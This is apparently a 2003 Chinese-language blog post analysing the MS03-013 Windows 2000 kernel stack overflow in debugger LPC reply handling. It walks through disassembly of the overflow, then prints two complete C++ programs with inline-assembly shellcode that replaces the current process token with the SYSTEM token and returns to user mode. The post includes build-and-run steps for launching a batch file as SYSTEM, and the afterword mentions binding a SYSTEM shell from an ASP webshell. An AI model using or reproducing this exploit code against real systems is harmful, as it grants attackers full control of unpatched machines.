`
lovnet
  • 浏览: 6920379 次
  • 性别: Icon_minigender_1
  • 来自: 武汉
文章分类
社区版块
存档分类
最新评论

windows 2000 kernel exploit 的一点研究

阅读更多
windows 2000 kernel exploit 的一点研究

ey4s<cooleyas@21cn.com>
2003-05-23


以下是研究MS03-013所公布漏洞时的一点心得,其中可能有不少错误的地方,请大家多指教。本文涉
及到的一些东西并没有详细解释,如KPEB、TEB等,大家可自行参考本文后面所提到的参考资源。写这篇文
章的目的是权当笔记,一是请高手们指出错误,二来供以后翻阅。


-=-=-=- 第一部分 实例分析 -=-=-=-

MS在2003-04-16发布了一个安全公告MS03-013,内容如下:
The vulnerability exists in the kernel debugging support code that delivers debug
events to the user mode debugger. malicious user mode debugger would send a large reply
to the kernel, which results in a stack overflow.

按照惯例,MS的安全公告不会提供技术细节的,但在漏洞发现者的网站上也没有公布技术细节,其他
地方也没有相关的资料,于是只能自己跟踪分析了。花了我很长时间,终于重现了这个漏洞。

背景知识: user-mode debuger工作流程
<1>debuger创建一个新进程,或attach一个正在运行的进程。我们称这个进程为B。
<2>debuger等待进程B产生debug事件
<3>进程B产生debug事件,发送消息给debuger,进程挂起,等待debuger指令。
<3>debuger处理debug事件,发送消息给进程B。
<4>进程B接受debuger发送的消息,进程复苏。
<5>循环2-4

消息传递是通过lpc port来进行的,流程如下所示:
debuger <--> kernel <--> process B

上面所说的消息结构如下:
typedef struct _DEBUG_MESSAGE
{
PORT_MESSAGEPORT_MSG;
DEBUG_EVENTDebugEvent;
}DEBUG_MESSAGE, *PDEBUG_MESSAGE;

typedef struct _PORT_MESSAGE
{
USHORTDataSize;//数据长度
USHORTMessageSize;//总长度
USHORTMessageType;
USHORTDataInfoOffset;
CLIENT_ID ClientId;
ULONG MessageId;
ULONG SectionSize;
//UCHARData[];
}PORT_MESSAGE, *PPORT_MESSAGE;

在\Microsoft SDK\samples\winbase\Debug目录下有几个简单的user-mode debuger的源代码,
大家可以参考一下。

结合安全公告的内容和背景知识,我想你已经知道怎么重现这个漏洞了。
<>debuger send large reply --> kernel
<>kernel delivers reply -> process B
在kernel处理这个恶意的reply时,溢出发生了。

注意:溢出发生时,CPU所处的路径是 -> 运行在内核空间,关联着进程B。


OK!我们来看看反汇编出来的代码,看看溢出到底是怎么发生的。


首先,debuger发送的reply长度是有限制的,我们来看看:

//Data长度要小于等于总长度-0x18
NtReplyPort+0x4D
0008:8049DC89PUSH06
0008:8049DC8BPOP ECX
0008:8049DC8CMOV ESI,[EBP+0C]//reply message地址
0008:8049DC8FLEA EDI,[EBP-3C]
0008:8049DC92REPZ MOVSD
0008:8049DC94ORDWORD PTR [EBP-04],-01
0008:8049DC98MOVSX EAX,WORD PTR [EBP-3C]//取message DataSize
0008:8049DC9CADD EAX,18
0008:8049DC9FMOVSX ECX,WORD PTR [EBP-3A]//取message TotalSize
0008:8049DCA3CMP EAX,ECX//判断DataSize+0x18是否大于TotalSize
0008:8049DCA5JA804EEE93

//Reply总长度不能超过0x148
0008:8049DCD3MOV AX,[EBP-3A]//取message TotalSize
0008:8049DCD7MOVSX EDX,AX
0008:8049DCDAMOV ECX,[EBP-20]
0008:8049DCDDCMP EDX,[ECX+34]//[ecx+34]处内容为0x148
0008:8049DCE0JA804EEF82

所以总长度最大只能为0x148字节,Data最大只能为0x130字节,但这已经足够触发内核堆栈溢出了。

接着kernel会调用_DbgkpSendApiMessage来处理我们的debuger发送的reply_msg,函数调用关系如下:
DbgkpSendApiMessage
|_ LpcRequestWaitReplyPort
|_ 80433399
|_ LpcpMoveMessage<-- kernel stack buffer overflow

_DbgkpSendApiMessage(argv1, argv2, argv3)
_DbgkpSendApiMessage
0008:8052CF45PUSHEBP
0008:8052CF46MOV EBP,ESP
0008:8052CF48SUB ESP,00000100//从stack中分配0x100字节内存
......
0008:8052CF5EMOV ESI,[EBP+08]
......
0008:8052CF78LEA EAX,[EBP-0100]
0008:8052CF7EPUSHEAX
0008:8052CF7FPUSHESI
0008:8052CF80PUSHDWORD PTR [EBP+0C]
0008:8052CF83CALL_LpcRequestWaitReplyPort
......
0008:8052CFBARET 000C


_LpcRequestWaitReplyPort(argv3, argv2, stack_buff)
_LpcRequestWaitReplyPort
0008:8049CFD3PUSH00
0008:8049CFD5PUSHDWORD PTR [ESP+10]
0008:8049CFD9PUSHDWORD PTR [ESP+10]
0008:8049CFDDPUSHDWORD PTR [ESP+10]
0008:8049CFE1CALL80433399
0008:8049CFE6RET 000C


80433399(argv3, argv2, stack_buff, 0)
80433399+0x3da
0008:80433773MOV ESI,[EBP+0C]
0008:80433776XOR EDI,EDI
0008:80433778PUSHEDI
0008:80433779PUSHEDI
0008:8043377ALEA EAX,[ESI+30]
0008:8043377DPUSHEAX
0008:8043377ELEA EAX,[ESI+18]
0008:80433781PUSHEAX
0008:80433782PUSHDWORD PTR [EBP+10]
0008:80433785CALL_LpcpMoveMessage


_LpcpMoveMessage(stack_buff, argv2+18, argv2+0x30)
_LpcpMoveMessage
0008:80402276PUSHESI
0008:80402277PUSHEDI
0008:80402278MOV EDI,[ESP+0C]
0008:8040227CCLD
0008:8040227DMOV ESI,[ESP+10]
0008:80402281LODSD
0008:80402282STOSD
0008:80402283LEA ECX,[EAX+03]//取得DataSize
0008:80402286AND ECX,0000FFFC//取4的整数,去除余数,如0x121 -> 0x120
0008:8040228CSHR ECX,02//DataSize除4
0008:8040228FLODSD
0008:80402290MOV EDX,[ESP+18]
0008:80402294OREDX,EDX
0008:80402296JZ8040229B
0008:80402298MOV AX,DX
0008:8040229BSTOSD
0008:8040229CMOV EDX,[ESP+1C]
0008:804022A0OREDX,EDX
0008:804022A2JZ804022B0
0008:804022A4MOV EAX,[EDX]
0008:804022A6STOSD
0008:804022A7MOV EAX,[EDX+04]
0008:804022AASTOSD
0008:804022ABADD ESI,08
0008:804022AEJMP 804022B2
0008:804022B0MOVSD
0008:804022B1MOVSD
0008:804022B2MOVSD
0008:804022B3MOVSD
0008:804022B4MOV ESI,[ESP+14]
0008:804022B8REPZMOVSD//没有考虑stack buffer大小,将我们的发送的数据全部copy到stack中
0008:804022BAPOP EDI
0008:804022BBPOP ESI
0008:804022BCRET 0014


-=-=-=- 第二部分 exploit需要解决的几个问题 -=-=-=-

一、确定retloc地址。

从第一部分的反汇编代码中可以知道,函数的返回地址在stack_buff+0x104处。


二、确定retaddr地址。

因为溢出发生时,关联的是进程B,所以shellcode就直接放在进程B空间里面,进程B把处于它进程内
的shellcode的地址传递给debuger,然后debuger发送给kernel的buffer结构如下:

|...nop...|realcode_addr|shellcode_addr|nop(0xC)|esp|cs|ds|es|

realcode_addr覆盖在ebp,realcode的功能是恢复寄存器fs、以SYSTEM权限运行ey4s.bat。
shellcode_addr覆盖在DbgkpSendApiMessage函数的返回地址,shllcode的功能是提升权限、从核心
态返回应用态。
因为函数DbgkpSendApiMessage返回时是ret 0xc,所以要0xc个nop来填充。
再后面跟的就是返回应用态后进程B应该对应的寄存器值了。



三、提升权限。

显然假设Process B是以普通用户身份运行的,所以利用这个漏洞的目的是提升权限,所以要在从
核心态返回应用态之前提前权限。在unix平台中可以修改当前进程的UID为0,达到提升权限的目的。在
windows平台中也可以用类似的方法,但不是修改UID(因为windows没有UID这个概念),而是修改当前
进程的访问令牌,即Process Token。开始我用的办法是修改Token中的特权列表,如增加debug特权,但这
样的话,返回应用态后想获得SYSTEM权限还得费点功夫。Token还有很多可以修改的地方,如Owner SID等等。
最后还是决定用最简单最有效的办法,即用SYSTEM进程的TOKEN替换当前进程的TOKEN,这样我们的进程就
有最高权限了。

在windows 2000平台中:
当运行在内核模式的时候,FS:[0x124]总是指向到当前线程的TEB,[TEB+0x44]总是指向到当前进程
的KPEB。在[KPEB+0x12c]处存放的就是当前进程的Token了。系统中各个进程的KPEB由一环形链表联结着,
所以可以通过当前进程的KPEB找出其他进程的KPEB。

实现代码如下:

//获取当前进程的KPEB地址
moveax,fs:[0x124]
movesi,[eax+0x44]
moveax,esi

/*搜索SYSTEM进程的KPEB地址*/
//获得下一个进程的KPEB
search:
moveax,[eax+0xa0]
subeax,0xa0
cmp[eax+0x9c],0x8//从PID判断是否SYSTEM进程
jnesearch

moveax,[eax+0x12c]//获取system进程的token
mov[esi+0x12c],eax//修改当前进程的token



四、从内核态正确返回应用态

溢出发生后,我们的shellcode得到控制权,提升权限后应该让中断调用返回,系统才不会崩溃掉。因
为我们覆盖了内核函数DbgkpSendApiMessage的返回地址,所以让中断调用返回这个任务就只有让我们自己
来完成了。在返回之前要还原一些寄存器的值,这样在返回应用态后,进程B中我们的realcode才能正确的
继续运行。在中断返回时,堆栈中的数据结构如下:

内存高处 栈底
|??????|
|ds| <-- 返回应用态后的ds
|esp | <-- 返回应用态后的esp
|eflags| <-- 返回应用态后的flags
|cs| <-- 返回应用态后的cs
|eip | <-- 返回应用态后的eip
内存低处 栈顶

我们自己构造这些数据,然后让esp指向这些数据,接着调用iretd从核心态返回应用态也可以。不过,
好像这样返回后会出问题,也许参数没有设置完整。还是从内存中搜索这些参数保险一点。


-=-=-=- 第三部分 exploit -=-=-=-

/*-------------------------------------------------------------------
debugme.cpp
written by ey4s
cooleyas@21cn.com
2003-05-23
-------------------------------------------------------------------*/
#include <windows.h>
#include <stdio.h>
#pragma pack(1)

typedef struct _SomeInfo
{
DWORDdwNum;
DWORDdwRealCode;
DWORDdwShellCode;
DWORDdw[3];
DWORDdwESP;
DWORDdwCS;
DWORDdwDS;
DWORDdwES;
}SOMEINFO, *PSOMEINFO;

unsignedcharshellcode[512];
unsignedcharrealcode[512];
DWORDdwFS;
HANDLEhProcess;
DWORDdwRun;
SOMEINFOsi;

voidshellcodefnlock();
voidrealcodefnlock();
void getshellcode(unsigned char *pDst, int iSize, BYTE *pSrc);
void CreateNewProcess()
{
STARTUPINFO si={sizeof(si)};
PROCESS_INFORMATION pi;

CreateProcess(NULL, "ey4s.bat", NULL, NULL,
TRUE, CREATE_NEW_CONSOLE , NULL, NULL, &si, &pi);
exit(0);
}

void main()
{
HMODULEh;
DWORDdwESP, dwCS, dwDS, dwES;

//保存寄存器值
__asm
{
movdwESP, esp
subdwESP, 0x100

pushcs
popeax
andeax,0xFFFF
movdwCS, eax

pushds
popeax
andeax,0xFFFF
movdwDS, eax

pushes
popeax
andeax,0xFFFF
movdwES, eax

pushfs
popeax
andeax,0xFFFF
movdwFS, eax
}
//取得shellcode
getshellcode(shellcode, sizeof(shellcode), (BYTE *)shellcodefnlock);
getshellcode(realcode, sizeof(realcode), (BYTE *)realcodefnlock);
//传递一些信息给debuger
dwRun = (DWORD)&CreateNewProcess;
si.dwNum = sizeof(si)/sizeof(DWORD) -1 ;
si.dwRealCode = (DWORD)&realcode;
si.dwShellCode = (DWORD)&shellcode;
si.dwESP = dwESP;
si.dwCS = dwCS;
si.dwDS = dwDS;
si.dwES = dwES;
printf( "shellcode 0x%.8X\n"
"realcode 0x%.8X\n"
"ESP=%.8X CS=0x%X DS=0x%X ES=0x%X FS=0x%X\n",
si.dwShellCode, si.dwRealCode, si.dwESP,
si.dwCS, si.dwDS, si.dwES, dwFS);
RaiseException(0x1981, 0, sizeof(si)/sizeof(DWORD), (DWORD *)&si);
//触发Load Dll和Free Dll事件
while(1)
{
//printf(".");
h=LoadLibrary("ws2_32.dll");
Sleep(1000);
FreeLibrary(h);
Sleep(1000);
}
}

voidshellcodefnlock()
{
_asm
{
nop
nop
nop
nop
nop
nop
nop
nop

/*start here*/

/*--------提升权限--------*/
//获取当前进程的KPEB地址
moveax,fs:[0x124]
movesi,[eax+0x44]
moveax,esi

/*搜索SYSTEM进程的KPEB地址*/
//获得下一个进程的KPEB
search:
moveax,[eax+0xa0]
subeax,0xa0
cmp[eax+0x9c],0x8//从PID判断是否SYSTEM进程
jnesearch

moveax,[eax+0x12c]//获取system进程的token
mov[esi+0x12c],eax//修改当前进程的token

/*------------从核心态返回应用态--------------*/
//保存esp
movesi,esp

//搜索iretd所需要的参数
moveax,esp
addeax,0x10//跳过我们的数据
next:
addeax,0x4
movebx,[eax]
cmpebx,[esi+0x4]//cs linux系统是0x23,win2k好像都是1b
jnenext
//
subeax,0x4//此时eax指向的即为iretd返回所需要的参数起始地址
movesp,eax
mov[eax],ebp//ebp是realcode的地址,设置返回后的eip为realcode的起始地址
addeax,0xC
//设置返回应用态后的esp
movebx,[esi]
mov[eax], ebx

//恢复寄存器值
push[esi+0x8]
popds
push[esi+0xc]
popes
//返回应用态
iretd
/*end here*/
int 3
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP

}
}

voidrealcodefnlock()
{
_asm
{
nop
nop
nop
nop
nop
nop
nop
nop

/*start here*/
pushdwFS
popfs
//call our function
calldwRun
/*end here*/
int 3
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP

}
}

void getshellcode(unsigned char *pDst, int iSize, BYTE *pSrc)
{
unsignedchartemp;
unsignedchar*shellcodefnadd, *start;
intlen,k;
char *fnendstr="\x90\x90\x90\x90\x90\x90\x90\x90\x90";
#defineFNENDLONG 0x08

/* 定位 shellcodefnlock的汇编代码 */
shellcodefnadd=pSrc;
temp=*shellcodefnadd;
if(temp==0xe9)
{
++shellcodefnadd;
k=*(int *)shellcodefnadd;
shellcodefnadd+=k;
shellcodefnadd+=4;
}
for(k=0;k<=0x500;++k)
if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0)
break;
/* shellcodefnadd+k+8是得到的shellcodefnlock汇编代码地址 */
len=0;
start=shellcodefnadd+k+8;
//len = 2*wcslen(shellcodefnadd+k+8);
while((BYTE)start[len] != (BYTE)'\xcc')
{
pDst[len] = start[len];
len++;
if(len>=iSize-1) break;
}
//memcpy(shellcode,shellcodefnadd+k+8,len);
pDst[len]='\0';
}

/*-------------------------------------------------------------------
xDebug.cpp
written by ey4s
cooleyas@21cn.com
2003-05-23
-------------------------------------------------------------------*/
#include <windows.h>
#include <stdio.h>

#defineoffset0x100+0x4-0x6*4

typedef enum _PROCESSINFOCLASS {
ProcessDebugPort=7// 7 Y Y
} PROCESSINFOCLASS;

typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING ,*PUNICODE_STRING;

typedef struct _CLIENT_ID
{
HANDLE UniqueProcess;
HANDLE UniqueThread;
}CLIENT_ID,* PCLIENT_ID, **PPCLIENT_ID;

typedef struct _LPC_MESSAGE
{
USHORTDataSize;
USHORTMessageSize;
USHORTMessageType;
USHORTDataInfoOffset;
CLIENT_ID ClientId;
ULONG MessageId;
ULONG SectionSize;
//UCHARData[];
}LPC_MESSAGE, *PLPC_MESSAGE;

typedef struct _OBJECT_ATTRIBUTES
{
DWORD Length;
HANDLERootDirectory;
PUNICODE_STRING ObjectName;
DWORD Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
}OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES, **PPOBJECT_ATTRIBUTES;

typedef
DWORD
(CALLBACK * NTCREATEPORT)(

OUT PHANDLE PortHandle,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN ULONGMaxConnectInfoLength,
IN ULONGMaxDataLength,
IN OUT PULONG Reserved OPTIONAL );

typedef
DWORD
(CALLBACK * NTREPLYWAITRECVIVEPORT)(

IN HANDLE PortHandle,
OUT PHANDLE ReceivePortHandle OPTIONAL,
IN PLPC_MESSAGE Reply OPTIONAL,
OUT PLPC_MESSAGEIncomingRequest );


typedef
DWORD
(CALLBACK * NTREPLYPORT)(

IN HANDLE PortHandle,
IN PLPC_MESSAGE Reply );

typedef
DWORD
(CALLBACK * NTSETINFORMATIONPROCESS)(

IN HANDLE ProcessHandle,
IN PROCESSINFOCLASS ProcessInformationClass,
IN PVOIDProcessInformation,
IN ULONGProcessInformationLength );


typedef struct _DEBUG_MESSAGE
{
LPC_MESSAGEPORT_MSG;
DEBUG_EVENTDebugEvent;
}DEBUG_MESSAGE, *PDEBUG_MESSAGE;


NTSETINFORMATIONPROCESS NtSetInformationProcess;
NTREPLYWAITRECVIVEPORTNtReplyWaitReceivePort;
NTCREATEPORTNtCreatePort;
NTREPLYPORTNtReplyPort;

template <int i> struct PORT_MESSAGEX : LPC_MESSAGE {
UCHAR Data[i];
};

PROCESS_INFORMATIONpi;

int main()
{
HMODULE hNtdll;
DWORDdwAddrList[9];
BOOLbExit = FALSE;
DWORDdwRet;
HANDLEhPort;
intk=0;
DEBUG_MESSAGE dm;
OBJECT_ATTRIBUTES oa = {sizeof(oa)};
PORT_MESSAGEX<0x130> PortReply;
STARTUPINFOsi={sizeof(si)};

printf( "\nxDebug -> windows kernel exploit for MS03-013\n"
"Written by ey4s<cooleyas@21cn.com>\n"
"2003-05-23\n\n");

//get native api address
hNtdll = LoadLibrary("ntdll.dll");
if(hNtdll == NULL)
{
printf("LoadLibrary failed:%d\n", GetLastError());
return 0;
}

NtReplyWaitReceivePort = (NTREPLYWAITRECVIVEPORT)
GetProcAddress(hNtdll, "NtReplyWaitReceivePort");

NtCreatePort = (NTCREATEPORT)
GetProcAddress(hNtdll, "NtCreatePort");

NtReplyPort = (NTREPLYPORT)
GetProcAddress(hNtdll, "NtReplyPort");

NtSetInformationProcess = (NTSETINFORMATIONPROCESS)
GetProcAddress(hNtdll, "NtSetInformationProcess");

//create port
dwRet = NtCreatePort(&hPort, &oa, 0, 0x148, 0);
if(dwRet != 0)
{
printf("create hPort failed. ret=%.8X\n", dwRet);
return 0;
}
//create process
if(!CreateProcess(0, "debugme.exe", NULL, NULL, TRUE,
CREATE_SUSPENDED, 0, 0, &si, &pi))
{
printf("CreateProcess failed:%d\n", GetLastError());
return 0;
}
//set debug port
dwRet = NtSetInformationProcess(pi.hProcess, ProcessDebugPort,
&hPort, sizeof(hPort));
if(dwRet != 0)
{
printf("set debug port error:%.8X\n", dwRet);
return 0;
}
//printf("pid:0x%.8X %d hPort=0x%.8X\n", pi.dwProcessId, pi.dwProcessId, hPort);
ResumeThread(pi.hThread);

while (true)
{
memset(&dm, 0, sizeof(dm));
NtReplyWaitReceivePort(hPort, 0, 0, &dm.PORT_MSG);
k++;
switch (dm.DebugEvent.dwDebugEventCode+1)
{
case EXCEPTION_DEBUG_EVENT:
printf("DEBUG_EVENT --> except\n");

if(dm.DebugEvent.u.Exception.ExceptionRecord.NumberParameters == 9)
{
memcpy((unsigned char *)&dwAddrList,
(unsigned char
*)&dm.DebugEvent.u.Exception.ExceptionRecord.ExceptionInformation,
sizeof(dwAddrList));
/*intn;
for(n=0;n<6;n++)
printf("%.8X\n", dwAddrList[n]);*/
}
break;

case CREATE_THREAD_DEBUG_EVENT:
printf("DEBUG_EVENT --> create thread\n");
break;

case CREATE_PROCESS_DEBUG_EVENT:
printf("DEBUG_EVENT --> create process\n");
break;

case EXIT_THREAD_DEBUG_EVENT:
printf("DEBUG_EVENT --> exit thread\n");
break;

case EXIT_PROCESS_DEBUG_EVENT:
printf("DEBUG_EVENT --> exit process\n");
bExit = TRUE;
break;

case LOAD_DLL_DEBUG_EVENT:
printf("DEBUG_EVENT --> load dll\n");
break;

case UNLOAD_DLL_DEBUG_EVENT:
printf("DEBUG_EVENT --> unload dll\n");
break;

case OUTPUT_DEBUG_STRING_EVENT:
printf("DEBUG_EVENT --> debug string\n");
break;

} //end of switch
//printf("k=%d\n",k);
if(k==10)
{
//printf("************\n");
//Sleep(4*1000);
memset(&PortReply, 0, sizeof(PortReply));
memcpy(&PortReply, &dm, sizeof(dm));
PortReply.MessageSize = 0x148;
PortReply.DataSize = 0x130;
memset(&PortReply.Data, 'a', sizeof(PortReply.Data));
memcpy(&PortReply.Data[offset-4], &dwAddrList, sizeof(dwAddrList));
dwRet = NtReplyPort(hPort, &PortReply);
if(dwRet ==0 )
printf("Send shellcode to ntoskrnl completed!"
"Wait for exit.\n");
else
printf("NtReply err:%.8X\n", dwRet);
}
else
NtReplyPort(hPort, &dm.PORT_MSG);
if(bExit) break;
}//end of while
return 0;
}

编译xDebug.cpp和debugme.cpp,放在同一目录下,再创建一个ey4s.bat,然后运行xDebug.exe,成功
后会以SYSTEM权限运行ey4s.bat。


-=-=-=- 第四部分 其他 -=-=-=-

个人认为,kernel exploit和user-mode exploit区别在于kernel exploit要多做两件事:
<1>提升权限。当然如果关联的进程已经是SYSTEM、或ADMIN权限,就没必要提升权限了。
<2>从核心态正确返回应用态,这其中包括恢复寄存器值,搜索返回所需要的参数等。
其他的就跟user-mode exploit没什么区别了。


在这过程中参考了大量书籍、资料,向作者们表示感谢!

References:
<>http://elfhack.whitecell.org/ Linux_Kernel_Exploit_RD by alert7
<>http://person.okey.net/~webcrazy/ webcrazy
<>http://www.chapeaux-noirs.org crazylord

books:
*Windows NT/2000 Native API Reference
*Inside Microsoft Windows 2000, Third Edition

-=-=-=- 第五部分 后记 -=-=-=-
以上exp只能在以下情况下成功:
<>交互登录时,直接运行
<>交互登录时,以普通用户身份运行xdebug
不能用于:
<>asp shell

在aspshell里面调用失败的原因比较奇怪,正在想办法解决,应该是可以解决的问题。在改进版本中,asp shell里面调用已经可以以system身份绑定shell,并且可以连接上去执行cmd.exe的内置命令,可以运行whoami.exe等一些程序,但运行net.exe、ping.exe等还是失败,出错信息是0xC0000142。
分享到:
评论

相关推荐

    Linux kernel exploit 研究和探索

    ### Linux Kernel Exploit 研究与探索 #### 引言 随着计算机安全领域的不断发展,内核级别的漏洞利用(exploit)成为了高级攻击者的重要工具之一。与应用程序级别的漏洞利用相比,内核级别的漏洞利用更加复杂,但也...

    FuzzySecurity Windows Exploit 开发系列教程 1~19

    FuzzySecurity Windows Exploit 开发系列教程 1~19 FuzzySecurity Windows Exploit 开发系列教程 1~19

    FuzzySecurity Windows Exploit 开发系列教程 1 ~ 8

    FuzzySecurity Windows Exploit 开发系列教程 1 ~ 8

    Windows Exploit 开发教程(Massimiliano Tomassoli)

    Windows Exploit 开发教程(Massimiliano Tomassoli)

    Windows-Exploit-Suggester-master

    Windows-Exploit-Suggester-master

    Overview of the latest Windows OS kernel exploits foundinthewild

    本次演讲主题“Momigari:最近在野外发现的Windows操作系统内核漏洞利用”由安全专家Boris Larin和Anton Ivanov共同呈现,他们分别是高级威胁研究与检测团队的负责人和恶意软件分析师。Momigari源自日本秋天寻找最美...

    信息安全_数据安全_Bypass_Windows_Exploit_Guard_ASR.pdf

    本文件《信息安全_数据安全_Bypass_Windows_Exploit_Guard_ASR.pdf》重点介绍了绕过Windows系统中Exploit Guard的攻击面减少(Attack Surface Reduction,ASR)规则的技术手段,这是在数据安全领域中一个极具挑战性...

    Windows-Exploit-Suggester-2

    通过各种途径方法获取目标操作系统的systeminfo生成系统信息文件 ,并将生成的systeminfo信息的文件放在windows-exploit-suggester.py 文件同一个目录下。执行python脚本文件,查看目标网站存在的未修复漏洞信息,...

    macOS-Kernel-Exploit:适用于CVE-2019-8781的macOS Kernel Exploit。 该错误的功劳归@LinusHenze :)

    在"macOS-Kernel-Exploit-master"压缩包中,可能包含@LinusHenze编写的漏洞利用示例代码,这为安全研究人员提供了学习和研究漏洞利用技术的机会。通过分析这些代码,可以理解漏洞的具体利用机制,有助于防御类似攻击...

    看雪翻译的exploit教程合集

    "基于SEH的Exploit"和"基于SEH的Exploit-又一个实例"这两部分,重点讲解了Windows系统的结构化异常处理(SEH)机制及其在exploit中的应用。SEH可以被攻击者用来改变程序的执行流,绕过安全措施。教程提供了实际案例...

    Nsfocus宋凯:IE 11 0day&Windows 8.1 Exploit

    本次分享的内容由Nsfocus研究院的安全研究员宋凯带来,主题是“IE 11 0day & Windows 8.1 Exploit”,涉及的是IE 11浏览器中尚未被修复的漏洞(0day)以及针对Windows 8.1操作系统的利用技术。 首先,我们来明确...

    BungeeExploit_Exploit_minecraft源码_

    要理解和防止这类exploit,我们需要深入研究Minecraft的源码。源码分析是安全研究的关键步骤,它能帮助我们找出潜在的弱点和不安全的设计。例如,检查输入验证是否充分,权限管理是否严谨,以及代码执行流程是否存在...

    linux内核exploit.rar

    最后,关于"linux内核研究与探索"这份文档,它可能是对内核源码分析、漏洞发现方法和exploit开发过程的详细教程。阅读这份文档将有助于深入理解内核工作原理,学习如何安全地探索和利用内核漏洞。 总的来说,Linux...

    Exploit_编写系列教程.pdf

    根据提供的文档内容,以下是对“Exploit 编写系列教程.pdf”的知识点详细说明: ...通过这份教程,读者可以系统地学习和掌握Windows平台上exploit编写的核心技术和方法,为成为一名信息安全领域的专家打下坚实的基础。

    Exploit 编写系列教程.pdf

    ### Exploit 编写系列教程知识点总结 #### 一、栈溢出 - **定义**:栈溢出是一种常见的安全漏洞,通常发生在程序试图在栈上存储超出其分配大小的数据时。 - **原理**:当函数调用时,程序会在栈上为局部变量分配...

    Exploit编写系列教程

    6. 漏洞案例研究:文本还提及了特定漏洞的利用案例,如EasyRMtoMP3 Conversion Utility在Windows XP SP2系统上的漏洞(EasyRMtoMP3ConversionUtilityXPsp3Exploit)。这表明系列教程可能包含真实世界漏洞案例的研究...

    PS4-Kernel-Exploit-Stream:每周PS4内核利用流上编写的WIP代码的公共仓库

    【标题】中的“PS4-Kernel-Exploit-Stream”是指一个专注于PlayStation 4(PS4)内核级别的漏洞利用开发的项目。这个项目的目的是为开发者提供一个平台,分享和交流他们关于PS4内核漏洞利用的工作进展(WIP,Work In...

    Exploit编写教程

    在学习exploit的自动生成,exploit的编写需要很多的基础知识,很好的学习文档

Global site tag (gtag.js) - Google Analytics